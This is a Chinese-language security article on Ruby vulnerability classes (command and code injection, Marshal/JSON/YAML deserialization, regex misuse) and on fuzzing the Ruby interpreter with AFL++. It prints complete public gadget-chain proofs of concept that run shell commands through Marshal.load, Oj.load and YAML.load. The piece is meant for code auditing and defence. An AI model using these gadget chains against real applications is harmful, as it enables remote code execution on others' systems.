Ruby 安全漫談

語言: CN / TW / HK

作者:NiuBL@墨雲科技VLab Team

原文連結: https://mp.weixin.qq.com/s/ECLwMbbrf9lWXkhbUergXg

隨著Ruby越來越流行,Ruby相關的安全問題也逐漸暴露,目前,國內專門介紹Ruby安全的文章較少,本文結合筆者所瞭解的Ruby安全知識點以及挖掘到的Ruby相關漏洞進行描述,希望能給讀者在Ruby程式碼審計上提供幫助。

Ruby簡介

Ruby是一種面向物件、指令式、函式式、動態的通用程式語言。在20世紀90年代中期由日本電腦科學家松本行弘(Matz)設計並開發。Ruby注重簡潔和效率,句法優雅,讀起來自然,寫起來舒適。

Ruby安全

說到Ruby安全不得不提RubyonRails安全,本篇著重關注Ruby本身。Ruby涉及到web安全漏洞幾乎囊括其他語言存在的漏洞,例如命令注入漏洞、程式碼注入漏洞、反序列化漏洞、SQL注入漏洞、XSS漏洞、SSRF漏洞等。但是在具體的漏洞觸發上,Ruby又不同於其他語言。

命令注入漏洞

命令注入漏洞一般是指把外部資料傳入system()類的函式執行,導致命令注入漏洞。觸發命令注入漏洞的連結符號有很多,再配合單雙引號可以組合成更多不同的注入條件,例如(linux):

  • ``
  • $()
  • \n

在審計程式碼的時候一般會直接搜尋能夠執行命令的函式,例如:

  • popen()
  • spawn()
  • syscall()
  • system()
  • exec()
  • Open3.*

而對於Ruby,除了支援這些函式執行命令,還有一些獨特執行命令的方式:

  • %x//
  • ``
  • open()
  • IO.read()
  • IO.write()
  • IO.binread()
  • IO.binwrite()
  • IO.foreach()
  • IO.readlines()

%x//和``屬於類似system函式,可以把字串解析為命令:

open()是Ruby用來操作檔案的函式,但是他也支援執行命令,執行傳入一個以中劃線開頭的字元,後面跟著要執行的命令即可:

除了open()函式,IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函式也可以以相同的方式執行命令。

open()函式引發的Ruby安全問題:

https://hackerone.com/reports/1161691

https://hackerone.com/reports/651518

https://hackerone.com/reports/1158824

https://hackerone.com/reports/294462

File.read()函式引發的Ruby安全問題:

https://hackerone.com/reports/449482

IO.readlines()函式引發的潛在Ruby安全問題,筆者發現,已被忽略:

https://hackerone.com/reports/1090678

程式碼注入漏洞

程式碼注入漏洞一般是由於把外部資料傳入eval()類函式中執行,導致程式可以執行任意程式碼。Ruby除了支援eval(),還支援class_eval()、instance_eval()函式執行程式碼,區別在於執行程式碼的上下文環境不同。eval()函式導致的程式碼注入問題與其他語言類似,不再贅述。

Ruby除了eval()、class_eval()、instance_eval()函式,還存在其他可以執行程式碼的函式:

__send__()

send()函式

send()函式是Ruby用來呼叫符號方法的函式,可以將任何指定的引數傳遞給它,類似JAVA中的invoke函式,不過它更為靈活,可以接收外部變數,舉例:

class Klass
  def hello(*args)
      puts "Hello " + args.join(' ')
  end
end
k = Klass.new
k.send :hello, "gentle", "readers"
#=> "Hello gentle readers"

上述程式碼中,例項k通過send動態呼叫了hello辦法,假如hello字串來自外部,便可以傳入eval,注入惡意程式碼,舉例:

class Klass
  def hello(*args)
      puts "Hello " + args.join(' ')
  end
end

k = Klass.new
k.send :eval, "`touch /tmp/niubl`"

__send__()函式

__send__() 函式和send函式一樣,區別在於當代碼有send同名函式時,可以呼叫 __send__()

public_send()函式

public_send()和send()函式的區別在於send()可以呼叫私有方法。

send()函式引發的Ruby安全問題:

https://hackerone.com/reports/327512

搜尋一些不安全的用法:

const_get()函式

const_get()函式是Ruby用來在模組中獲取常量值的函式,它存在一個inherit引數,當設定為true時(預設也為true),會遞歸向祖先模組查詢。它還有另外一個用法,就是當字串是已載入的類名時,會返回這個類(Ruby中,類名也是常量),類似JAVA的forName函式,常用寫法是這樣:

程式碼中,使用const_get動態例項化了類,使Ruby更為靈活。但是這樣的用法如果使用不當,也會出現安全問題,例如這裡(rack-proxy模組):

如圖,perform_request()函式在Net::HTTP模組中搜索HTTP方法類,然後例項化,並傳遞full_path請求路徑引數給new()函式,HTTP方法和請求路徑都是外部可控的,而且const_get()函式沒有限制inherit,預設可以遞迴查詢,在整個空間內例項化任意已載入類,並傳遞一個可控引數。如果找到合適的利用鏈,完全可以到達任意程式碼執行。目前,該問題已在GitHub上被發現並修復。

實戰中已經有人使用此方法實現了程式碼執行,那就是gitlab的一個漏洞

https://hackerone.com/reports/1125425 , kramdown模組使用const_get()函式來動態例項化格式化類,但是沒有限制inherit,導致vakzz通過使用一個Redis類的利用鏈達到了任意程式碼執行的目的,漏洞報告已經寫的非常詳細,不再贅述。

constantize()

constantize同樣可以將字串轉化為類,屬於RubyonRails中的用法,底層呼叫的const_get()函式:

def constantize(camel_cased_word)
    Object.const_get(camel_cased_word)
  end

下圖中constantize要轉化的類和類例項化的引數都可控,如果我們能找到合適的利用鏈,便可以到達任意程式碼執行:

反序列化漏洞

反序列化漏洞是指在把外部傳入的不可信位元組序列恢復為物件的過程中,未做合適校驗,導致攻擊者可以利用特定方法,配合利用鏈,達到任意程式碼執行的目的。Ruby也有反序列化的函式,同樣也存在反序列化漏洞。

Marshal反序列化

Marshal是Ruby用來序列反序列化的模組,Marshal.dump()可以把一個物件序列化為位元組序,Marshal.load()可以把一個位元組序反序列化為物件。

Marshal反序列化的利用已有很多篇分析文章,不再贅述。

使用已經公開的POC測試:

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
  def marshal_dump
    [@requirements]
  end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id > /tmp/niubl")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Marshal.load(payload)

執行POC(ruby-3.0.0):

搜尋一些不安全的用法:

JSON反序列化

Ruby 處理JSON時可能存在反序列化漏洞,但是不是Ruby內建的JSON解析器,而是第三方開發的解析器oj( https://github.com/ohler55/oj )。oj在解析JSON時支援多種資料型別,包括會導致程式碼執行的Object型別。

使用已經公開的POC測試:

require "oj"

json = '{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"id >> /tmp/niubl"},"method_id":":resolve"}}}}],"dummy_value"]}'
Oj.load(json)

執行POC(ruby-3.0.0):

oj可以通過設定模式,避免反序列化物件:

Oj.default_options = {:mode => :compat }

YAML反序列化

Ruby YAML也支援反序列化物件,pysch 4.0之前版本呼叫YAML.load()函式即可反序列化物件,psych 4.0以後需要呼叫YAML.unsafe_load()才能反序列化物件。使用已經公開的POC測試:

- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
  io: !ruby/object:Net::BufferedIO
    io: !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: aaa
    debug_output: !ruby/object:Net::WriteAdapter
      socket: !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
          socket: !ruby/module 'Kernel'
          method_id: :system
        git_set: id >> /tmp/niubl
      method_id: :resolve
require "yaml"

YAML.load(open("test.yaml").read())

執行POC(ruby-3.0.0):

Ruby YAML解析,psych4.0之前可以通過呼叫save_load()函式,避免反序列化物件,psych 4.0之後預設load()函式就是安全的( https://github.com/ruby/psych/pull/487 )。

搜尋unsafe_load的使用,不一定存在漏洞,需要yaml內容可控才有風險:

正則錯用

Ruby正則大體與其他語言一樣,只是在個別語法上存在差別,如果沒有特別瞭解研究,按照其他的語言用法套用,就很有可能出現安全問題,例如Ruby在用正則匹配開頭和結尾時支援^$的用法,但是支援多行匹配則需要改為\A\Z避免換行繞過。

正則錯用引發的安全問題:

https://hackerone.com/reports/733072

搜尋相關程式碼,還是有不少錯用的:

FUZZ Ruby解析器

在學習Ruby反序列化時,想要通過Ruby用C語言實現Marshal,對處理不同資料型別做處理,那麼可以對他進行一下FUZZ。

FUZZ使用了AFLplusplus,配置編譯Ruby:

  • ./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc --disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env
  • export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"
  • AFL_USE_ASAN=1 make

使用AFLplusplus的deferred instrumentation模式,對Ruby原始碼main.c檔案稍作修改:

樣本生成上,可以選取Ruby自帶的測試用例,這樣可以快速得到比較全面合法的樣本,正好在學習Ruby hook的方案,寫了一個簡單的hook函式,在rubygems.rb檔案中載入,劫持Marshal模組,執行自測的同時即可儲存下樣本。

require 'securerandom'

module Marshal
  class << self
      alias_method :__dump, :dump
      def dump(*args)
          result = __dump(*args)
          uuid = SecureRandom.uuid
          File.open("/testcases/" + uuid, 'wb') {|f| f.write(result)}
          result
      end
  end
end

想要FUZZ其他模組也可以用同樣辦法來獲取樣本。

經過一段時間的FUZZ,陸陸續續發現了一些漏洞:

1.CVE-2022-28738 doublefree in onig_reg_resize

2.CVE-2022-28739 heap-buffer-overflow in strtod

3.global-buffer-overflow calc_tm_yday

4.dynamic-stack-buffer-overflow in renumber_by_map

5.JSON.parse denial of service

雖然FUZZ出了一些問題,但是依舊存在很多未解決的問題,比如FUZZ速度、效率、自動化等,未來將繼續深入探索研究。

以上是筆者在ruby中的一些學習研究彙總,如有不恰當之處,敬請斧正,一起交流學習。

參考連結